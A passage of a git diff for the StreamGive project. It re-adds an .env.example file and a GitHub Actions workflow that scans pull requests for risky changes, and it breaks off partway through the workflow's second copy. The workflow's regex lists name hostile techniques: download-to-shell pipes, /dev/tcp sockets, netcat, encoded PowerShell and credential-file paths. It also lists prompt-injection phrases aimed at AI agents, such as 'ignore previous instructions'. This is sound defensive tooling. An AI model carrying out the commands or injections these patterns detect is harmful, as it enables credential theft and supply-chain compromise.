diff --git a/.env.example b/.env.example index 0c51f52..b3630e8 100644 --- a/.env.example +++ b/.env.example @@ -1,100 +1,100 @@ -DATABASE_URL="postgresql://streamgive:streamgive@localhost:5432/streamgive" -PORT=3000 -SOROBAN_RPC_URL="https://soroban-testnet.stellar.org" -# Optional: network passphrase used for Soroban RPC transactions and read-only simulations. -# Defaults to the Stellar Testnet passphrase when unset. -# STELLAR_NETWORK_PASSPHRASE="Test SDF Network ; September 2015" - -# Optional: Stellar network passphrase used for read-only contract simulations. -# Defaults to the SDK's Testnet passphrase when unset; set this when pointing -# at Mainnet or a standalone network. -# STELLAR_NETWORK_PASSPHRASE="Test SDF Network ; September 2015" - -# The live testnet deployment (see streamgive-contracts/deployments.json). -# Public contract ids, not secrets. -NGO_REGISTRY_CONTRACT_ID="CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH" -DONATION_VAULT_CONTRACT_ID="CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH" -# Optional: comma-separated contract IDs to watch for indexer status reporting (also accepts CONTRACT_IDS). -# Defaults to NGO_REGISTRY_CONTRACT_ID and DONATION_VAULT_CONTRACT_ID when unset. -# WATCHED_CONTRACT_IDS= - -INDEXER_POLL_INTERVAL_MS=5000 -# Optional: ledger to start from on a fresh run (no checkpoint). Ignored once a -# checkpoint exists. Useful for backfilling history from a specific ledger. -# INDEXER_START_LEDGER= -# Optional: maximum number of events fetched and processed in one poll. -# Must be a positive integer. When unset, the RPC server's default applies. -# INDEXER_MAX_EVENTS_PER_POLL=100 -# Optional: number of ledgers the indexer is allowed to lag behind the network -# tip before the /health/ready endpoint starts returning 503. Defaults to 100. -# INDEXER_LAG_THRESHOLD=100 -# INDEXER_LAG_THRESHOLD=100 - -# Comma-separated origins allowed to call this API from a browser. -# Must include the frontend's origin or every request fails as -# "Failed to fetch". Defaults to the local frontend when unset. -CORS_ORIGINS="http://localhost:3001" - -# Stellar public key (G...) that must sign requests to admin routes — -# should match the `admin` set on the deployed contracts. -# Replace this with your own key; never commit a real key here. -ADMIN_ADDRESS="GXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" - -# Optional: additional admin keys, comma-separated, unioned with -# ADMIN_ADDRESS above. Set this when more than one key needs to sign admin -# requests (key rotation, several operators). Either variable alone is -# enough; admin routes 503 only when both are empty. -ADMIN_ADDRESSES="" - -# Optional: if set, notification events (streams, NGO approval/revocation, application review) -# are POSTed here as JSON. -NOTIFY_WEBHOOK_URL= - -# Optional: if set, every webhook POST carries an x-streamgive-signature -# header holding an HMAC-SHA256 of the raw request body, keyed with this -# value, so receivers can tell a real notification from a forged one. -NOTIFY_WEBHOOK_SECRET= - -# Optional: maximum duration in milliseconds to wait for a webhook POST to -# complete. Invalid or non-positive values fall back to the default (3000 ms). -# NOTIFY_WEBHOOK_TIMEOUT_MS=3000 - -# Optional: when set, GET /metrics requires the header -# "Authorization: Bearer ". Leave unset to keep /metrics public. -# METRICS_TOKEN= - -# Optional: rate limiting configuration. -# RATE_LIMIT_MAX=100 -# RATE_LIMIT_WINDOW="1 minute" -# RATE_LIMIT_APPLICATION_MAX=5 -# RATE_LIMIT_APPLICATION_WINDOW="1 minute" -# TRUST_PROXY=true # true (default) | false | hop count (e.g. 1) | comma-separated IPs - -# fatal | error | warn | info | debug | trace -LOG_LEVEL=info -# Keep notification logs and resolved indexer dead letters for this many days. -# Unresolved dead letters are never removed. Defaults to 90. -# LOG_RETENTION_DAYS=90 - -# Leave unset locally — set to "production" only in deployment, where it -# also switches logging from pino-pretty to structured JSON. The Docker -# image sets this itself; see ENVIRONMENT.md. -# NODE_ENV=production - - -# Planned: if set, StreamGive sends notification events through Resend (currently in log-only stub mode). -RESEND_API_KEY= - -# Planned: required when RESEND_API_KEY is configured. -NOTIFY_EMAIL_FROM= - -# Public API origin used to build NGO contact-email verification links. -# Required for NGO application email verification. -API_PUBLIC_URL= - -# Planned: recipient for email notifications. -NOTIFY_EMAIL_TO= - -# Optional: milliseconds each health check dependency call is allowed before -# it is reported as degraded. Defaults to 3000 (3 s). -HEALTH_CHECK_TIMEOUT_MS=3000 +DATABASE_URL="postgresql://streamgive:streamgive@localhost:5432/streamgive" +PORT=3000 +SOROBAN_RPC_URL="https://soroban-testnet.stellar.org" +# Optional: network passphrase used for Soroban RPC transactions and read-only simulations. +# Defaults to the Stellar Testnet passphrase when unset. +# STELLAR_NETWORK_PASSPHRASE="Test SDF Network ; September 2015" + +# Optional: Stellar network passphrase used for read-only contract simulations. +# Defaults to the SDK's Testnet passphrase when unset; set this when pointing +# at Mainnet or a standalone network. +# STELLAR_NETWORK_PASSPHRASE="Test SDF Network ; September 2015" + +# The live testnet deployment (see streamgive-contracts/deployments.json). +# Public contract ids, not secrets. +NGO_REGISTRY_CONTRACT_ID="CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH" +DONATION_VAULT_CONTRACT_ID="CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH" +# Optional: comma-separated contract IDs to watch for indexer status reporting (also accepts CONTRACT_IDS). +# Defaults to NGO_REGISTRY_CONTRACT_ID and DONATION_VAULT_CONTRACT_ID when unset. +# WATCHED_CONTRACT_IDS= + +INDEXER_POLL_INTERVAL_MS=5000 +# Optional: ledger to start from on a fresh run (no checkpoint). Ignored once a +# checkpoint exists. Useful for backfilling history from a specific ledger. +# INDEXER_START_LEDGER= +# Optional: maximum number of events fetched and processed in one poll. +# Must be a positive integer. When unset, the RPC server's default applies. +# INDEXER_MAX_EVENTS_PER_POLL=100 +# Optional: number of ledgers the indexer is allowed to lag behind the network +# tip before the /health/ready endpoint starts returning 503. Defaults to 100. +# INDEXER_LAG_THRESHOLD=100 +# INDEXER_LAG_THRESHOLD=100 + +# Comma-separated origins allowed to call this API from a browser. +# Must include the frontend's origin or every request fails as +# "Failed to fetch". Defaults to the local frontend when unset. +CORS_ORIGINS="http://localhost:3001" + +# Stellar public key (G...) that must sign requests to admin routes — +# should match the `admin` set on the deployed contracts. +# Replace this with your own key; never commit a real key here. +ADMIN_ADDRESS="GXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" + +# Optional: additional admin keys, comma-separated, unioned with +# ADMIN_ADDRESS above. Set this when more than one key needs to sign admin +# requests (key rotation, several operators). Either variable alone is +# enough; admin routes 503 only when both are empty. +ADMIN_ADDRESSES="" + +# Optional: if set, notification events (streams, NGO approval/revocation, application review) +# are POSTed here as JSON. +NOTIFY_WEBHOOK_URL= + +# Optional: if set, every webhook POST carries an x-streamgive-signature +# header holding an HMAC-SHA256 of the raw request body, keyed with this +# value, so receivers can tell a real notification from a forged one. +NOTIFY_WEBHOOK_SECRET= + +# Optional: maximum duration in milliseconds to wait for a webhook POST to +# complete. Invalid or non-positive values fall back to the default (3000 ms). +# NOTIFY_WEBHOOK_TIMEOUT_MS=3000 + +# Optional: when set, GET /metrics requires the header +# "Authorization: Bearer ". Leave unset to keep /metrics public. +# METRICS_TOKEN= + +# Optional: rate limiting configuration. +# RATE_LIMIT_MAX=100 +# RATE_LIMIT_WINDOW="1 minute" +# RATE_LIMIT_APPLICATION_MAX=5 +# RATE_LIMIT_APPLICATION_WINDOW="1 minute" +# TRUST_PROXY=true # true (default) | false | hop count (e.g. 1) | comma-separated IPs + +# fatal | error | warn | info | debug | trace +LOG_LEVEL=info +# Keep notification logs and resolved indexer dead letters for this many days. +# Unresolved dead letters are never removed. Defaults to 90. +# LOG_RETENTION_DAYS=90 + +# Leave unset locally — set to "production" only in deployment, where it +# also switches logging from pino-pretty to structured JSON. The Docker +# image sets this itself; see ENVIRONMENT.md. +# NODE_ENV=production + + +# Planned: if set, StreamGive sends notification events through Resend (currently in log-only stub mode). +RESEND_API_KEY= + +# Planned: required when RESEND_API_KEY is configured. +NOTIFY_EMAIL_FROM= + +# Public API origin used to build NGO contact-email verification links. +# Required for NGO application email verification. +API_PUBLIC_URL= + +# Planned: recipient for email notifications. +NOTIFY_EMAIL_TO= + +# Optional: milliseconds each health check dependency call is allowed before +# it is reported as degraded. Defaults to 3000 (3 s). +HEALTH_CHECK_TIMEOUT_MS=3000 diff --git a/.github/workflows/pr-safety-check.yml b/.github/workflows/pr-safety-check.yml index a19e383..ad57cf6 100644 --- a/.github/workflows/pr-safety-check.yml +++ b/.github/workflows/pr-safety-check.yml @@ -1,279 +1,279 @@ -name: PR safety check - -# Flags pull requests that make risky changes, so they get a careful review before anyone merges them. -# Uses pull_request_target so the check always runs from the default branch's copy of this file: -# a PR cannot edit the check to make itself pass. NEVER check out or run PR code in this workflow; -# it only reads the PR's files and commits through the GitHub API. -on: - pull_request_target: - types: [opened, synchronize, reopened, ready_for_review] - -permissions: - contents: read - pull-requests: read - statuses: write - -concurrency: - group: pr-safety-${{ github.event.pull_request.number }} - cancel-in-progress: true - -jobs: - pr-safety: - name: PR safety check - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - uses: actions/github-script@v8 - with: - # Retry transient 5xx responses; 4xx responses are not retried. - retries: 3 - script: | - const { owner, repo } = context.repo; - const pr = context.payload.pull_request; - const sha = pr.head.sha; - const CONTEXT = 'PR safety check'; - const runUrl = `${context.serverUrl}/${owner}/${repo}/actions/runs/${context.runId}`; - const setStatus = (state, description) => github.rest.repos.createCommitStatus({ - owner, repo, sha, state, context: CONTEXT, description: description.slice(0, 140), target_url: runUrl, - }); - - // Pending until the check finishes, so a crash or cancellation still blocks the merge. - await setStatus('pending', 'Checking the PR for risky changes'); - - const findings = []; - const seen = new Set(); - const flag = (where, why, level = 'block') => { - const key = `${where}|${why}`; - if (!seen.has(key)) { seen.add(key); findings.push({ where, why, level }); } - }; - - const RISKY_PATHS = [ - [/^\.github\//, 'changes repository automation (.github/)'], - [/(^|\/)\.vscode\//, 'changes editor config, which can run tasks when the folder is opened (.vscode/)'], - [/(^|\/)\.devcontainer\//, 'changes dev container config, which can run commands (.devcontainer/)'], - [/(^|\/)\.idea\//, 'changes IDE config (.idea/)'], - [/(^|\/)\.husky\//, 'changes git hooks (.husky/)'], - [/(^|\/)\.git(ignore|attributes|modules)$/, 'changes git config that can hide or redirect files'], - [/(^|\/)\.(npmrc|yarnrc|yarnrc\.yml|pnpmrc)$/, 'changes package manager config'], - [/(^|\/)build\.rs$/, 'changes a Rust build script, which runs on every build'], - [/(^|\/)(Dockerfile|docker-compose[^/]*\.ya?ml)$/, 'changes container build config'], - [/(^|\/)\.claude\//, 'changes Claude Code settings or hooks, which can run commands'], - [/(^|\/)\.cursor\//, 'changes Cursor settings or rules'], - [/(^|\/)\.(cursorrules|windsurfrules|clinerules|roorules|aider[^/]*)$/, 'changes AI coding tool instructions'], - [/(^|\/)\.(windsurf|continue|cline|roo|aider)[^/]*\//, 'changes AI coding tool configuration'], - [/(^|\/)\.mcp\.json$/, 'changes MCP server configuration, which can start programs'], - [/(^|\/)(AGENTS|CLAUDE|GEMINI)\.md$/i, 'changes instructions that AI coding agents follow'], - [/(^|\/)\.github\/copilot-instructions\.md$/, 'changes instructions that AI coding agents follow'], - [/\.code-workspace$/, 'changes a VS Code workspace file, which can define tasks and settings'], - [/(^|\/)\.cargo\//, 'changes Cargo config, which can set a custom runner, linker or build flags'], - [/(^|\/)rust-toolchain(\.toml)?$/, 'changes the pinned Rust toolchain'], - [/(^|\/)(eslint|vite|vitest|next|postcss|tailwind|playwright|jest|babel|webpack|rollup|esbuild|prisma|commitlint|lint-staged|prettier|stylelint|svelte|nuxt|astro|tsup|turbo|cypress|metro|rspack|rsbuild|remix|gatsby)\.config\.(js|cjs|mjs|ts|mts|cts)$/, 'changes a config file that is executed as code', 'note'], - [/(^|\/)\.(eslintrc|prettierrc|babelrc|stylelintrc|lintstagedrc|commitlintrc|mocharc)\.(js|cjs|mjs|ts)$/, 'changes a config file that is executed as code', 'note'], - [/(^|\/)(lefthook|\.lefthook)\.ya?ml$/, 'changes git hook configuration'], - [/(^|\/)(Makefile|makefile|GNUmakefile|justfile|Justfile|Taskfile\.ya?ml)$/, 'changes a task runner file', 'note'], - [/(^|\/)(noxfile\.py|tox\.ini|setup\.py|setup\.cfg|conftest\.py)$/, 'changes a Python build or test hook'], - [/(^|\/)scripts\//, 'changes a script under scripts/', 'note'], - [/(^|\/)fa-(solid|regular|brands|light|thin|duotone)[^\/]*$/i, 'file name imitates a Font Awesome font, as used by a known malware campaign'], - [/(^|\/)dist\/setup\.js$/, 'adds a file name used by a known malware campaign (dist/setup.js)'], - [/(^|\/)branch_structure\.json$/, 'adds a file name used by a known malware campaign (branch_structure.json)'], - [/(^|\/)temp_[a-z_]*push[a-z_]*\.(bat|cmd|sh|ps1)$/i, 'adds a file name used by a known malware campaign (temp push script)'], - [/(^|\/)\.env(\.(?!example$|sample$|template$).+)?$/, 'adds an environment file, which may hold secrets'], - ]; - const BINARY = /\.(woff2?|ttf|otf|eot|llf|exe|dll|so|dylib|bin|jar|class|zip|tar|gz|tgz|7z|rar|bat|cmd|ps1|vbs|scr|msi|deb|rpm|apk|node|pyc|lik)$/i; - const IMAGE = /\.(png|jpe?g|gif|webp|ico|avif|bmp)$/i; - const CODE = /\.(js|jsx|mjs|cjs|ts|tsx|mts|cts|rs|sh|bash|py|rb|go|java|kt|swift|php|pl|ps1)$/i; - const NO_LONG_LINE_CHECK = /\.(md|mdx|svg|lock|snap|json|csv|txt|map|min\.js|min\.css)$|(^|\/)(package-lock\.json|yarn\.lock|pnpm-lock\.yaml|Cargo\.lock)$/i; - // Zero-width, bidirectional-override and variation-selector characters can hide code from reviewers. - const HIDDEN = /[\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u2069\uFEFF\uFE00-\uFE0F]|\uDB40[\uDC00-\uDC7F\uDD00-\uDDEF]/; - const HIDDEN_PROSE = /[\u200B\u202A-\u202E\u2060-\u2064\u2066-\u2069]|\uDB40[\uDC00-\uDC7F]/; - const SUSPICIOUS = [ - [/\beval\s*\(/, 'eval('], - [/\bnew\s+Function\s*\(/, 'new Function('], - [/child_process/, 'child_process'], - [/require\(\s*['"](node:)?vm['"]\s*\)|from\s+['"](node:)?vm['"]/, 'the vm module'], - [/(\\x[0-9a-fA-F]{2}){8,}/, 'a long run of \\x escapes'], - [/(\\u[0-9a-fA-F]{4}){8,}/, 'a long run of \\u escapes'], - [/[A-Za-z0-9+/]{300,}={0,2}/, 'a long base64-like blob'], - [/\b_0x[0-9a-f]{4,}\b/, 'obfuscator-style identifiers (_0x...)'], - [/String\.fromCharCode\s*\((\s*\d+\s*,){10,}/, 'String.fromCharCode with many character codes'], - [/(curl|wget)[^\n|]*\|\s*(ba|z)?sh\b/, 'pipes a download into a shell'], - [/base64\s+(-d|--decode)\b/, 'decodes base64 when it runs'], - [/\/dev\/tcp\//, 'opens a raw network socket'], - [/\b(nc|ncat|netcat)\s+-/, 'uses netcat'], - [/Invoke-Expression|powershell(\.exe)?\s+-(enc|e)\b/i, 'runs encoded PowerShell'], - [/(\.ssh\b|\.aws\b|\.npmrc|\.git-credentials|\.gnupg|id_rsa|id_ed25519|\.config\/gh\b|Login Data|wallet\.dat)/i, 'references credential or browser profile locations'], - ]; - const LIFECYCLE = /"(preinstall|install|postinstall|prepare|prepublish|prepublishOnly|prepack|postpack)"\s*:/; - const DOC_DATA = /\.(md|mdx|txt|rst|json|csv|tsv|svg|snap|map|lock|html?|xml|ya?ml|toml|ini|css|scss|less|sql|ipynb|geojson|proto|pem|crt|po|pot)$|(^|\/)(LICENSE|NOTICE|CODEOWNERS)[^\/]*$/i; - const NO_WS_CHECK = /\.(md|mdx|txt|csv|snap|svg|lock)$|(^|\/)(package-lock\.json|yarn\.lock|pnpm-lock\.yaml|Cargo\.lock)$/i; - const CONFIG_CODE = /(^|\/)((eslint|vite|vitest|next|postcss|tailwind|playwright|jest|babel|webpack|rollup|esbuild|prisma|commitlint|lint-staged|prettier|stylelint|svelte|nuxt|astro|tsup|turbo|cypress|metro|rspack|rsbuild|remix|gatsby)\.config|\.(eslintrc|prettierrc|babelrc|stylelintrc|lintstagedrc|commitlintrc|mocharc))\.(js|cjs|mjs|ts|mts|cts)$/; - const CONFIG_RISK = /\bcreateRequire\b|child_process|\bfetch\s*\(|(require\(\s*|from\s+)['"](node:)?(https?|net|tls|dgram|dns|vm|worker_threads)['"]/; - const MARKERS = new RegExp([['rmcej%', 'otb%'], ['Cot%3T=', 'sthP'], ['_$__', '1e42']].map(([a, b]) => (a + b).replace(/[.*+?^${}()|[\]\\]/g, '\\$&')).join('|')); - const hidesCode = (l) => { const runs = l.match(/[ \t]{50,}(?=\S)/g); return !!runs && (Math.max(...runs.map(r => r.length)) >= 100 || l.length > 300); }; - const SCRIPT_LINE = /^\s*"([^"]+)"\s*:\s*"((?:[^"\\]|\\.)*)"\s*,?\s*$/; - const SHELL_TRICKS = /\b(curl|wget|eval|base64|powershell|pwsh|mshta|certutil)\b|\b(bash|sh|zsh)\s+-c\b|\bcmd\s+\/c\b/i; - const DEP_LINE = /^\s*"(@?[a-z0-9][\w.~-]*(?:\/[\w.~-]+)?)"\s*:\s*"[~^]?\d[^"]*"\s*,?\s*$/; - const AGENT_INJECTION = /ignore (all |any |the )?(previous|prior|above|earlier) (instructions|prompts)|disregard (all |any |the )?(previous|prior|above)|do not (tell|inform|mention)[^.]{0,30}(the )?(user|maintainer|reviewer)|(run|execute) the following (command|script)/i; - - // -- Files -- - const files = await github.paginate(github.rest.pulls.listFiles, { owner, repo, pull_number: pr.number, per_page: 100 }); - if (pr.changed_files > files.length) flag('(PR)', `only ${files.length} of ${pr.changed_files} changed files could be inspected`); - - const addedFiles = new Set(files.filter(x => x.status === 'added').map(x => x.filename)); - const readTree = async (sha) => { - try { - const { data } = await github.rest.git.getTree({ owner, repo, tree_sha: sha, recursive: 'true' }); - if (data.truncated) flag('(PR)', 'file modes could not be fully checked: the repository tree is too large'); - return new Map(data.tree.map(t => [t.path, t.mode])); - } catch (e) { - flag('(PR)', 'file modes (symlinks, submodules, executable bits) could not be checked'); - return new Map(); - } - }; - const headModes = await readTree(pr.head.sha); - const baseModes = await readTree(pr.base.sha); - - for (const f of files) { - const path = f.filename; - const paths = [path, f.previous_filename].filter(Boolean); - if (f.status === 'removed') { - // Deleting editor or git config is harmless, but deleting automation can weaken these checks. - if (/^\.github\//.test(path)) flag(path, 'removes repository automation (.github/)'); - continue; - } - for (const [re, why, level] of RISKY_PATHS) if (paths.some(p => re.test(p))) flag(path, why, level); - if (f.status === 'added' && /^[^\/]+\.(js|cjs|mjs)$/.test(path) && !/\.config\.(js|cjs|mjs)$/.test(path)) flag(path, 'adds a new JavaScript file at the repository root'); - const mode = headModes.get(path); - if (mode === '120000') flag(path, 'is a symbolic link, which can point outside the repository'); - if (mode === '160000') flag(path, 'is a git submodule, which pulls in code from another repository'); - if (mode === '100755' && baseModes.get(path) !== '100755') { - if (/^scripts\/.*\.(sh|bash)$/.test(path)) flag(path, 'is a newly executable shell script', 'note'); - else flag(path, 'is made executable'); - } - // Real images, fonts and binaries never have a text diff; one that does is disguised. - if ((BINARY.test(path) || IMAGE.test(path)) && f.patch) flag(path, 'is named like a binary, font or image file but contains text, possibly disguised code'); - if (BINARY.test(path)) flag(path, 'adds or changes a font, binary, archive or script-runner file'); - else if (!f.patch && f.changes > 0 && !IMAGE.test(path)) flag(path, 'could not be inspected: binary, or too large for GitHub to show a diff'); - - const added = (f.patch || '').split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++')).map(l => l.slice(1)); - if (added.some(l => (/\.(md|mdx|txt|rst)$/i.test(path) ? HIDDEN_PROSE : HIDDEN).test(l))) flag(path, 'contains invisible or bidirectional Unicode characters'); - if (CONFIG_CODE.test(path) && added.some(l => CONFIG_RISK.test(l))) flag(path, 'a config file now loads modules dynamically or uses process or network APIs'); - if (added.some(l => MARKERS.test(l))) flag(path, 'contains a marker string used by a known malware campaign'); - if (!NO_WS_CHECK.test(path) && added.some(l => hidesCode(l))) flag(path, 'adds a line with a long run of spaces or tabs before more text, which can push code off-screen'); - if (/\.(md|mdx|txt)$/i.test(path) && added.some(l => AGENT_INJECTION.test(l))) flag(path, 'contains text addressed to an AI agent'); - - if (/(^|\/)package\.json$/.test(path)) { - if (added.some(l => LIFECYCLE.test(l))) flag(path, 'adds or changes an install-time script (preinstall, postinstall, prepare, ...)'); - const dir = path.includes('/') ? path.slice(0, path.lastIndexOf('/') + 1) : ''; - let newDeps = 0; - for (const l of added) { - const dep = l.match(DEP_LINE); - if (dep) { - if (dep[1] !== 'version' && newDeps < 10) { newDeps++; flag(path, `adds or updates dependency ${dep[1]}; check it is the package you expect`, 'note'); } - continue; - } - const m = l.match(SCRIPT_LINE); - if (m) { - const [, key, cmd] = m; - if (SHELL_TRICKS.test(cmd)) flag(path, `"${key}" runs a download, shell or encoding command`); - const node = cmd.match(/\bnode\s+(?:\.\/)?([^\s&;|"']+\.(?:c|m)?js)\b/); - if (node) { - if (addedFiles.has(dir + node[1])) flag(path, `"${key}" runs a file this PR adds (${node[1]})`); - else if (/^\s*node\s+\S+\.(c|m)?js\s*(&&|;|\|\|)/.test(cmd)) flag(path, `"${key}" runs a local file before the real command`); - } - if (/^(git\+|git:|github:|file:|link:|portal:)/.test(cmd) || /^https?:\/\/\S+\.(tgz|tar\.gz|zip)$/.test(cmd)) flag(path, `dependency "${key}" comes from a git, file or tarball source`); - } - } - if (added.some(l => /^\s*"(overrides|resolutions|pnpm)"\s*:/.test(l))) flag(path, 'adds dependency overrides or resolutions'); - } - if (/(^|\/)(package-lock\.json|yarn\.lock|pnpm-lock\.yaml)$/.test(path)) { - const hosts = added.map(l => (l.match(/https?:\/\/([^/"' ]+)/) || [])[1]).filter(Boolean); - const odd = [...new Set(hosts)].filter(h => !/^(registry\.npmjs\.org|registry\.yarnpkg\.com)$/.test(h)); - if (odd.length) flag(path, `resolves packages from an unusual host: ${odd.join(', ')}`); - } - if (/(^|\/)Cargo\.(toml|lock)$/.test(path) && added.some(l => /git\s*=|git\+|^\s*build\s*=|\[build-dependencies\]/.test(l))) { - flag(path, 'adds a git dependency or a build script'); - } - if (/(^|\/)Cargo\.toml$/.test(path) && added.some(l => /^\s*\[(patch|replace)\b|proc-macro\s*=\s*true/.test(l))) flag(path, 'adds a [patch] or [replace] section or a proc-macro crate'); - if (/(^|\/)Cargo\.lock$/.test(path)) { - const src = added.map(l => (l.match(/^source = "(.+)"$/) || [])[1]).find(x => x && !/^(registry\+https:\/\/github\.com\/rust-lang\/crates\.io-index|sparse\+https:\/\/index\.crates\.io\/)/.test(x)); - if (src) flag(path, `uses a package source other than crates.io (${src.slice(0, 60)})`); - } - - if (CODE.test(path) || /(^|\/)(Makefile|makefile|GNUmakefile|justfile|Justfile|Taskfile\.ya?ml)$/.test(path) || ((BINARY.test(path) || IMAGE.test(path)) && f.patch) || (f.patch && !DOC_DATA.test(path))) { - if (!NO_LONG_LINE_CHECK.test(path)) { - const longest = added.reduce((m, l) => Math.max(m, l.length), 0); - if (longest > (CONFIG_CODE.test(path) ? 300 : 500)) flag(path, `adds a line of ${longest} characters, which may be minified or obfuscated code`); - } - for (const [re, what] of SUSPICIOUS) if (added.some(l => re.test(l))) flag(path, `adds code using ${what}`); - } - } - - // -- Commits -- - const commits = await github.paginate(github.rest.pulls.listCommits, { owner, repo, pull_number: pr.number, per_page: 100 }); - if (pr.commits > commits.length) flag('(commits)', `only ${commits.length} of ${pr.commits} commits could be inspected`); - const prAuthor = pr.user.login.toLowerCase(); - const writers = new Map(); - const hasWriteAccess = async (login) => { - if (!writers.has(login)) { - let access; - try { - const { data } = await github.rest.repos.getCollaboratorPermissionLevel({ owner, repo, username: login }); - access = ['admin', 'maintain', 'write'].includes(data.role_name || data.permission) ? 'write' : 'none'; - } catch (e) { access = 'unknown'; } - writers.set(login, access); - } - return writers.get(login); - }; - for (const c of commits) { - const short = c.sha.slice(0, 7); - const subject = c.commit.message.split('\n')[0]; - // GitHub signs the merge commits it creates. An unsigned "Merge pull request" commit is a copy made elsewhere. - if (/^Merge pull request #\d+ from /.test(subject)) { - const githubMade = c.commit.verification?.verified === true && c.commit.committer?.email === 'noreply@github.com'; - if (githubMade) flag(`commit ${short}`, `merges a PR inside the contributor's fork ("${subject}")`, 'note'); - else flag(`commit ${short}`, `looks like a copy of another PR's merge commit, not signed by GitHub ("${subject}")`); - } - const login = c.author?.login; - if (login && login.toLowerCase() !== prAuthor && c.author.type !== 'Bot') { - // A commit credited to a maintainer inside someone else's PR is how the earlier forgery looked trustworthy. - const access = await hasWriteAccess(login); - const githubSigned = c.commit.verification?.verified === true && c.commit.committer?.email === 'noreply@github.com'; - if (access === 'write') flag(`commit ${short}`, `is credited to @${login}, who has write access, but the PR is by @${pr.user.login}${githubSigned ? ' (signed by GitHub)' : ' and is not signed by GitHub'}`, githubSigned ? 'note' : 'block'); - else if (access === 'unknown') flag(`commit ${short}`, `is authored by @${login}, not the PR author, and their access could not be checked`); - else flag(`commit ${short}`, `is authored by @${login}, not the PR author @${pr.user.login}`, 'note'); - } - } - - // -- Text written by the contributor -- - const texts = [['PR title', pr.title || ''], ['PR description', pr.body || ''], ...commits.map(c => [`commit ${c.sha.slice(0, 7)} message`, c.commit.message])]; - for (const [where, text] of texts) { - if (HIDDEN_PROSE.test(text)) flag(where, 'contains invisible or bidirectional Unicode characters'); - if (AGENT_INJECTION.test(text)) flag(where, 'contains text addressed to an AI agent or reviewer'); - } - if (//.test(pr.body || '')) flag('PR description', 'has a long hidden HTML comment', 'note'); - - // -- Report -- - const esc = (s) => String(s).replace(/[|`<>]/g, ch => ({ '|': '\\|', '`': "'", '<': '<', '>': '>' }[ch])); - const table = (rows) => '| Where | Why |\n|---|---|\n' + rows.map(f => `| ${esc(f.where)} | ${esc(f.why)} |`).join('\n') + '\n\n'; - const blocking = findings.filter(f => f.level === 'block'); - const notes = findings.filter(f => f.level === 'note'); - - if (blocking.length === 0) { - const s = core.summary.addHeading('PR safety check: no risky changes found', 3) - .addRaw(`Checked ${files.length} file(s) and ${commits.length} commit(s). Still read the diff before merging.\n\n`); - if (notes.length) s.addRaw('Notes (not blocking):\n\n' + table(notes)); - await s.write(); - await setStatus('success', notes.length ? `No risky changes found (${notes.length} note(s))` : 'No risky changes found'); - for (const f of notes) core.notice(`${f.where}: ${f.why}`); - return; - } - - const s = core.summary.addHeading(`PR safety check: ${blocking.length} risky change(s)`, 3) - .addRaw('Review these carefully before merging. If they are legitimate, an admin can merge anyway.\n\n') - .addRaw(table(blocking)); - if (notes.length) s.addRaw('Notes (not blocking):\n\n' + table(notes)); - await s.write(); - await setStatus('failure', `${blocking.length} risky change(s) found; review before merging`); - for (const f of blocking) core.warning(`${f.where}: ${f.why}`); - core.setFailed(`${blocking.length} risky change(s) found. See the job summary.`); +name: PR safety check + +# Flags pull requests that make risky changes, so they get a careful review before anyone merges them. +# Uses pull_request_target so the check always runs from the default branch's copy of this file: +# a PR cannot edit the check to make itself pass. NEVER check out or run PR code in this workflow; +# it only reads the PR's files and commits through the GitHub API. +on: + pull_request_target: + types: [opened, synchronize, reopened, ready_for_review] + +permissions: + contents: read + pull-requests: read + statuses: write + +concurrency: + group: pr-safety-${{ github.event.pull_request.number }} + cancel-in-progress: true + +jobs: + pr-safety: + name: PR safety check + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/github-script@v8 + with: + # Retry transient 5xx responses; 4xx responses are not retried. + retries: 3 + script: | + const { owner, repo } = context.repo; + const pr = context.payload.pull_request; + const sha = pr.head.sha; + const CONTEXT = 'PR safety check'; + const runUrl = `${context.serverUrl}/${owner}/${repo}/actions/runs/${context.runId}`; + const setStatus = (state, description) => github.rest.repos.createCommitStatus({ + owner, repo, sha, state, context: CONTEXT, description: description.slice(0, 140), target_url: runUrl, + }); + + // Pending until the check finishes, so a crash or cancellation still blocks the merge. + await setStatus('pending', 'Checking the PR for risky changes'); + + const findings = []; + const seen = new Set(); + const flag = (where, why, level = 'block') => { + const key = `${where}|${why}`; + if (!seen.has(key)) { seen.add(key); findings.push({ where, why, level }); } + }; + + const RISKY_PATHS = [ + [/^\.github\//, 'changes repository automation (.github/)'], + [/(^|\/)\.vscode\//, 'changes editor config, which can run tasks when the folder is opened (.vscode/)'], + [/(^|\/)\.devcontainer\//, 'changes dev container config, which can run commands (.devcontainer/)'], + [/(^|\/)\.idea\//, 'changes IDE config (.idea/)'], + [/(^|\/)\.husky\//, 'changes git hooks (.husky/)'], + [/(^|\/)\.git(ignore|attributes|modules)$/, 'changes git config that can hide or redirect files'], + [/(^|\/)\.(npmrc|yarnrc|yarnrc\.yml|pnpmrc)$/, 'changes package manager config'], + [/(^|\/)build\.rs$/, 'changes a Rust build script, which runs on every build'], + [/(^|\/)(Dockerfile|docker-compose[^/]*\.ya?ml)$/, 'changes container build config'], + [/(^|\/)\.claude\//, 'changes Claude Code settings or hooks, which can run commands'], + [/(^|\/)\.cursor\//, 'changes Cursor settings or rules'], + [/(^|\/)\.(cursorrules|windsurfrules|clinerules|roorules|aider[^/]*)$/, 'changes AI coding tool instructions'], + [/(^|\/)\.(windsurf|continue|cline|roo|aider)[^/]*\//, 'changes AI coding tool configuration'], + [/(^|\/)\.mcp\.json$/, 'changes MCP server configuration, which can start programs'], + [/(^|\/)(AGENTS|CLAUDE|GEMINI)\.md$/i, 'changes instructions that AI coding agents follow'], + [/(^|\/)\.github\/copilot-instructions\.md$/, 'changes instructions that AI coding agents follow'], + [/\.code-workspace$/, 'changes a VS Code 